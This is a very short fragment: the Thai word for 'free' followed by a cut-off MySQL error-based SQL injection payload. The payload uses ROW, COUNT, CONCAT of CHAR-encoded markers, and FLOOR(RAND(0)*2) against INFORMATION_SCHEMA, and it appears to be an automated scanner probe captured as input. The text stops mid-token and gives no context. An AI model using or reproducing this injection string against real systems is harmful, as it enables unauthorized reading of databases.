ฟรี

"+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(52),CHAR(67),CHAR(117),CHAR(100),CHAR(106),CHAR(106),CHAR(108),CHAR(98),CHAR(107),CHAR(106),CHAR(100),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCH